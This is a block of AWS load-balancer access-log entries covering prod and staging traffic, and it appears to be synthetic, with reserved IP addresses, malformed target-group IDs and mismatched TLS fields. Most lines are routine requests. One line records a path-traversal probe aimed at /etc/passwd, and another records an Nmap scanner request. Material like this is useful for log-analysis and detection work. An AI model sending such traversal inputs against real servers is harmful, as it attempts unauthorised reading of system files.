"-" "-" +https 2024-11-01T02:31:30.480403Z prod-api-alb 236.177.237.244:10884 10.0.216.90:443 0.026165 0.204548 0.035453 200 200 463 6799 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db12-379b29b44a1b4f8886dd1fd6" "prod-api-alb.example.com" "-" 2 2024-11-01T02:31:30.480403Z "forward" "-" "-" "10.0.216.90:443" "200" "-" "-" +https 2024-11-01T02:31:31.976262Z staging-alb 43.128.8.51:11464 89.252.53.96:443 0.086897 0.672233 0.049118 301 301 249 10013 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723db13-fbc603cdbb314b9cbbe9f5ec" "staging-alb.example.com" "-" 5 2024-11-01T02:31:31.976262Z "forward" "-" "-" "89.252.53.96:443" "301" "-" "-" +https 2024-11-01T02:31:32.578772Z prod-api-alb 56.230.155.111:39477 10.0.27.180:443 0.074303 0.462587 0.034058 301 301 837 12099 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db14-bfe1666b9958422b80402f8c" "prod-api-alb.example.com" "-" 1 2024-11-01T02:31:32.578772Z "forward" "-" "-" "10.0.27.180:443" "301" "-" "-" +https 2024-11-01T02:31:32.759994Z prod-web-alb 18.108.57.72:34476 10.0.114.97:443 0.016319 0.232911 0.007828 200 200 267 12163 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db14-028f35fb4a38465dbb2b69ae" "prod-web-alb.example.com" "-" 10 2024-11-01T02:31:32.759994Z "forward" "-" "-" "10.0.114.97:443" "200" "-" "-" +https 2024-11-01T02:31:33.455682Z prod-api-alb 170.222.129.24:53740 10.0.142.24:443 0.059245 0.139649 0.000081 200 200 451 11953 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db15-2a86cf4563b14ba8a5e2d216" "prod-api-alb.example.com" "-" 5 2024-11-01T02:31:33.455682Z "forward" "-" "-" "10.0.142.24:443" "200" "-" "-" +https 2024-11-01T02:31:34.362880Z prod-web-alb 203.50.183.192:38408 10.0.197.55:443 0.005331 0.134983 0.021087 200 200 867 14235 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723db16-cba0b3dd5aaa483daab22b39" "prod-web-alb.example.com" "-" 2 2024-11-01T02:31:34.362880Z "forward" "-" "-" "10.0.197.55:443" "200" "-" "-" +https 2024-11-01T02:31:35.477857Z prod-api-alb 80.216.119.53:34541 10.0.127.119:443 0.022560 0.263165 0.012441 200 200 3 6020 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db17-f7c03e09503e46449b65279e" "prod-api-alb.example.com" "-" 6 2024-11-01T02:31:35.477857Z "forward" "-" "-" "10.0.127.119:443" "200" "-" "-" +http 2024-11-01T02:31:37.428679Z staging-alb 99.202.172.249:51803 11.207.86.215:8080 0.125920 0.029488 0.084336 200 200 886 5951 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723db19-352657ef5f464355bdcfb8b1" "staging-alb.example.com" "-" 9 2024-11-01T02:31:37.428679Z "forward" "-" "-" "11.207.86.215:8080" "200" "-" "-" +https 2024-11-01T02:31:38.831932Z prod-web-alb 72.135.177.118:56786 10.0.1.253:443 0.057170 0.398838 0.095850 404 404 832 3232 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db1a-b660de7b67464c0597353193" "prod-web-alb.example.com" "-" 1 2024-11-01T02:31:38.831932Z "forward" "-" "-" "10.0.1.253:443" "404" "-" "-" +https 2024-11-01T02:31:40.345075Z prod-api-alb 248.112.250.192:38113 10.0.80.174:443 0.031449 0.187571 0.040025 200 200 467 7038 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db1c-f0671419940e436b815cf751" "prod-api-alb.example.com" "-" 4 2024-11-01T02:31:40.345075Z "forward" "-" "-" "10.0.80.174:443" "200" "-" "-" +https 2024-11-01T02:31:41.196317Z staging-alb 22.7.39.26:27609 179.181.234.240:80 0.095315 0.667431 0.016359 200 200 543 8833 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723db1d-00652847233642fdaa6f294f" "staging-alb.example.com" "-" 9 2024-11-01T02:31:41.196317Z "forward" "-" "-" "179.181.234.240:80" "200" "-" "-" +https 2024-11-01T02:31:42.420562Z prod-web-alb 43.113.79.33:25578 10.0.136.160:443 0.009942 0.388106 0.096684 200 200 462 6652 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723db1e-7d5d70d26588447b8bad4dd4" "prod-web-alb.example.com" "-" 9 2024-11-01T02:31:42.420562Z "forward" "-" "-" "10.0.136.160:443" "200" "-" "-" +https 2024-11-01T02:31:43.014933Z prod-api-alb 139.145.101.51:63929 10.0.172.147:443 0.074001 0.387473 0.089262 200 200 247 9906 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db1f-42606447bf3a4e97b4ece9fd" "prod-api-alb.example.com" "-" 1 2024-11-01T02:31:43.014933Z "forward" "-" "-" "10.0.172.147:443" "200" "-" "-" +https 2024-11-01T02:31:43.326798Z prod-api-alb 253.48.39.62:53298 10.0.59.201:443 0.051666 0.335705 0.050836 200 200 5 13404 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db1f-4171cc29b7f04da5910ecb7b" "prod-api-alb.example.com" "-" 0 2024-11-01T02:31:43.326798Z "forward" "-" "-" "10.0.59.201:443" "200" "-" "-" +https 2024-11-01T02:31:44.821693Z prod-web-alb 144.210.36.240:10018 10.0.121.105:443 0.065973 0.258597 0.098619 200 200 596 4832 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db20-498a8ecf59a74cf89926e5e2" "-" "-" 5 2024-11-01T02:31:44.821693Z "forward" "-" "-" "10.0.121.105:443" "200" "-" "-" +https 2024-11-01T02:31:45.176824Z prod-web-alb 15.146.235.85:18584 10.0.7.226:443 0.073276 0.422090 0.028293 200 200 919 3262 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723db21-a77dd05f902f4cbd80291bbc" "prod-web-alb.example.com" "-" 7 2024-11-01T02:31:45.176824Z "forward" "-" "-" "10.0.7.226:443" "200" "-" "-" +https 2024-11-01T02:31:45.477053Z prod-web-alb 75.48.81.214:48126 10.0.6.141:443 0.096566 0.434692 0.001291 302 302 872 10257 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723db21-f2c5ce7defa7420ba64d8323" "prod-web-alb.example.com" "-" 3 2024-11-01T02:31:45.477053Z "forward" "-" "-" "10.0.6.141:443" "302" "-" "-" +https 2024-11-01T02:31:47.058381Z prod-web-alb 106.126.187.61:41674 10.0.232.236:443 0.031952 0.019220 0.066205 200 200 34 3409 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723db23-62b35803490d4009812a1394" "prod-web-alb.example.com" "-" 2 2024-11-01T02:31:47.058381Z "forward" "-" "-" "10.0.232.236:443" "200" "-" "-" +http 2024-11-01T02:31:47.586668Z staging-alb 106.84.24.118:39356 129.94.90.0:443 0.128061 0.268353 0.127966 200 200 636 9434 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723db23-0fd43f532f8c459589f8ab01" "staging-alb.example.com" "-" 0 2024-11-01T02:31:47.586668Z "forward" "-" "-" "129.94.90.0:443" "200" "-" "-" +http 2024-11-01T02:31:48.125469Z staging-alb 200.252.102.158:39811 254.110.43.241:443 0.132076 0.016078 0.032021 200 200 804 5994 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723db24-3f08887b717d4b40b0323b09" "-" "-" 7 2024-11-01T02:31:48.125469Z "forward" "-" "-" "254.110.43.241:443" "200" "-" "-" +https 2024-11-01T02:31:49.142792Z prod-web-alb 95.4.69.9:63825 10.0.196.251:443 0.090949 0.401161 0.017900 200 200 126 3536 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723db25-ca534c229e7f4c3cbe31ac35" "prod-web-alb.example.com" "-" 6 2024-11-01T02:31:49.142792Z "forward" "-" "-" "10.0.196.251:443" "200" "-" "-" +https 2024-11-01T02:31:51.009299Z prod-web-alb 20.189.196.38:50313 10.0.79.90:443 0.057035 0.253825 0.016599 302 302 61 9386 "GET /products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db27-b888a9e582784a24948fa2d9" "prod-web-alb.example.com" "-" 8 2024-11-01T02:31:51.009299Z "forward" "-" "-" "10.0.79.90:443" "302" "-" "-" +https 2024-11-01T02:31:51.394524Z prod-api-alb 131.171.11.5:55223 10.0.54.212:443 0.081638 0.030483 0.050023 301 301 195 2578 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db27-688a360bab73447cb5876909" "prod-api-alb.example.com" "-" 9 2024-11-01T02:31:51.394524Z "forward" "-" "-" "10.0.54.212:443" "301" "-" "-" +http 2024-11-01T02:31:52.398805Z staging-alb 105.221.49.248:51720 128.241.46.189:443 0.100722 0.738050 0.009199 301 301 574 5626 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723db28-e8cf6aa3da494a029743f7de" "staging-alb.example.com" "-" 4 2024-11-01T02:31:52.398805Z "forward" "-" "-" "128.241.46.189:443" "301" "-" "-" +https 2024-11-01T02:31:53.719309Z prod-api-alb 167.52.108.240:52382 10.0.84.254:443 0.050035 0.002598 0.096578 200 200 352 10084 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db29-fd1b25f2d9f8419b80b4e08f" "prod-api-alb.example.com" "-" 6 2024-11-01T02:31:53.719309Z "forward" "-" "-" "10.0.84.254:443" "200" "-" "-" +https 2024-11-01T02:31:54.529338Z staging-alb 185.181.253.193:62629 170.142.66.127:80 0.012996 0.501174 0.023064 500 500 276 12238 "POST /metrics HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723db2a-c73812afa5b442eda9fefb9b" "-" "-" 7 2024-11-01T02:31:54.529338Z "forward" "-" "-" "170.142.66.127:80" "500" "-" "-" +https 2024-11-01T02:31:54.674474Z prod-api-alb 61.82.39.32:62845 10.0.42.229:443 0.032958 0.293476 0.073321 301 301 231 14281 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db2a-51dc9acb043a4e61a9808799" "prod-api-alb.example.com" "-" 6 2024-11-01T02:31:54.674474Z "forward" "-" "-" "10.0.42.229:443" "301" "-" "-" +https 2024-11-01T02:31:56.643392Z prod-api-alb 193.27.228.26:40153 10.0.31.2:443 0.007412 0.211609 0.012423 404 404 949 9701 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "Go-http-client/2.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db2c-62ce1d7061a84311ba56bbec" "-" "-" 4 2024-11-01T02:31:56.643392Z "forward" "-" "-" "10.0.31.2:443" "404" "-" "-" +https 2024-11-01T02:31:57.954347Z staging-alb 23.219.61.210:33671 237.44.116.53:443 0.065140 0.731843 0.105988 301 301 641 9007 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723db2d-201a845dc1c84b4e91947747" "staging-alb.example.com" "-" 5 2024-11-01T02:31:57.954347Z "forward" "-" "-" "237.44.116.53:443" "301" "-" "-" +http 2024-11-01T02:31:58.309635Z staging-alb 52.138.132.29:51265 211.113.12.202:443 0.062741 0.211654 0.098192 301 301 613 11331 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723db2e-f9f712c4c79748c8a5af2cfc" "staging-alb.example.com" "-" 3 2024-11-01T02:31:58.309635Z "forward" "-" "-" "211.113.12.202:443" "301" "-" "-" +https 2024-11-01T02:32:00.167825Z prod-web-alb 189.63.247.245:31323 10.0.151.71:443 0.090611 0.211883 0.066439 200 200 417 4761 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723db30-687aa26205c8468bbb6e418e" "-" "-" 1 2024-11-01T02:32:00.167825Z "forward" "-" "-" "10.0.151.71:443" "200" "-" "-" +https 2024-11-01T02:32:00.951660Z prod-api-alb 181.94.131.182:28361 10.0.9.101:443 0.023873 0.135461 0.078569 200 200 307 12255 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db30-dcb4247155f64123a2504708" "prod-api-alb.example.com" "-" 4 2024-11-01T02:32:00.951660Z "forward" "-" "-" "10.0.9.101:443" "200" "-" "-" +http 2024-11-01T02:32:02.210508Z staging-alb 248.191.194.66:36862 129.161.56.112:443 0.098087 0.617678 0.131215 200 200 107 2745 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723db32-b91c1f5ea4e24d068286f785" "staging-alb.example.com" "-" 8 2024-11-01T02:32:02.210508Z "forward" "-" "-" "129.161.56.112:443" "200" "-" "-" +https 2024-11-01T02:32:03.400622Z prod-web-alb 178.249.78.3:36101 10.0.17.116:443 0.080678 0.256239 0.056980 200 200 283 8918 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723db33-9241984857854cb684dd8fdc" "prod-web-alb.example.com" "-" 8 2024-11-01T02:32:03.400622Z "forward" "-" "-" "10.0.17.116:443" "200" "-" "-" +https 2024-11-01T02:32:04.525417Z prod-api-alb 240.114.49.76:20664 10.0.4.65:443 0.040692 0.376846 0.044618 200 200 511 7218 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db34-769eed78c33f47b68c7bdc88" "prod-api-alb.example.com" "-" 5 2024-11-01T02:32:04.525417Z "forward" "-" "-" "10.0.4.65:443" "200" "-" "-" +https 2024-11-01T02:32:06.461057Z prod-web-alb 74.217.92.82:34291 10.0.74.96:443 0.096113 0.387983 0.042669 302 302 132 8992 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723db36-ae361a4d973c434499f8bbf8" "prod-web-alb.example.com" "-" 10 2024-11-01T02:32:06.461057Z "forward" "-" "-" "10.0.74.96:443" "302" "-" "-" +https 2024-11-01T02:32:06.881249Z prod-api-alb 124.190.38.1:27937 10.0.181.106:443 0.093701 0.387387 0.027460 404 404 324 9424 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db36-05abab30942a44b2810d42cf" "prod-api-alb.example.com" "-" 8 2024-11-01T02:32:06.881249Z "forward" "-" "-" "10.0.181.106:443" "404" "-" "-" +https 2024-11-01T02:32:07.402310Z prod-web-alb 3.27.45.149:21869 10.0.192.221:443 0.051315 0.193954 0.083050 200 200 361 11515 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723db37-9f7b57fd6fd54fd49f130927" "prod-web-alb.example.com" "-" 8 2024-11-01T02:32:07.402310Z "forward" "-" "-" "10.0.192.221:443" "200" "-" "-" +https 2024-11-01T02:32:07.660429Z staging-alb 233.103.173.78:41275 236.2.217.137:8080 0.033890 0.353575 0.091192 200 200 830 2634 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723db37-2060432628734698bc3e98fb" "staging-alb.example.com" "-" 6 2024-11-01T02:32:07.660429Z "forward" "-" "-" "236.2.217.137:8080" "200" "-" "-" +http 2024-11-01T02:32:08.357822Z staging-alb 212.82.144.203:49104 109.5.225.11:80 0.148906 0.437743 0.052805 200 200 402 12765 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723db38-c6819bc6efa145918ae3cf00" "staging-alb.example.com" "-" 7 2024-11-01T02:32:08.357822Z "forward" "-" "-" "109.5.225.11:80" "200" "-" "-" +https 2024-11-01T02:32:09.101884Z prod-api-alb 164.90.180.37:10915 10.0.18.46:443 0.061769 0.291574 0.015365 301 301 78 5915 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db39-c9364ed875144d94a4332952" "prod-api-alb.example.com" "-" 1 2024-11-01T02:32:09.101884Z "forward" "-" "-" "10.0.18.46:443" "301" "-" "-" +https 2024-11-01T02:32:10.342415Z prod-api-alb 253.131.43.101:30599 10.0.60.12:443 0.047040 0.070902 0.010860 404 404 930 5692 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db3a-90cc0e957e8b4fa187e1bab8" "prod-api-alb.example.com" "-" 0 2024-11-01T02:32:10.342415Z "forward" "-" "-" "10.0.60.12:443" "404" "-" "-" +https 2024-11-01T02:32:11.587572Z prod-web-alb 187.109.170.146:21024 10.0.93.173:443 0.082566 0.055658 0.031821 200 200 420 2853 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723db3b-57cbad5c25ec43c98db070b2" "prod-web-alb.example.com" "-" 9 2024-11-01T02:32:11.587572Z "forward" "-" "-" "10.0.93.173:443" "200" "-" "-" +http 2024-11-01T02:32:13.257133Z staging-alb 119.37.178.179:59126 181.51.229.202:80 0.069790 0.422972 0.026647 404 404 745 7235 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723db3d-dbbfafafd4854f4798f36991" "staging-alb.example.com" "-" 8 2024-11-01T02:32:13.257133Z "forward" "-" "-" "181.51.229.202:80" "404" "-" "-" +http 2024-11-01T02:32:13.869974Z staging-alb 141.97.89.144:39144 101.217.222.84:8080 0.104645 0.221368 0.018833 302 302 771 1158 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723db3d-91c9997c595b47ae8fabf3e5" "staging-alb.example.com" "-" 5 2024-11-01T02:32:13.869974Z "forward" "-" "-" "101.217.222.84:8080" "302" "-" "-" +http 2024-11-01T02:32:14.113487Z staging-alb 112.129.68.162:46837 105.61.65.135:80 0.072857 0.617510 0.110032 200 200 868 7240 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723db3e-f7c4d4fd4165445eace4c5f3" "staging-alb.example.com" "-" 10 2024-11-01T02:32:14.113487Z "forward" "-" "-" "105.61.65.135:80" "200" "-" "-" +https 2024-11-01T02:32:15.470615Z prod-web-alb 180.225.200.141:16039 10.0.212.29:443 0.074996 0.230336 0.037454 301 301 733 7164 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db3f-deb0cfdb269a46ebb67d292a" "prod-web-alb.example.com" "-" 9 2024-11-01T02:32:15.470615Z "forward" "-" "-" "10.0.212.29:443" "301" "-" "-" +https 2024-11-01T02:32:17.306890Z staging-alb 58.250.172.37:38824 180.120.167.173:80 0.104875 0.180995 0.029950 200 200 277 1467 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723db41-b325a8be21114e75aa611c61" "staging-alb.example.com" "-" 8 2024-11-01T02:32:17.306890Z "forward" "-" "-" "180.120.167.173:80" "200" "-" "-" +https 2024-11-01T02:32:19.033938Z staging-alb 10.204.252.211:42718 105.201.197.132:80 0.111635 0.744386 0.083198 302 302 593 4147 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f 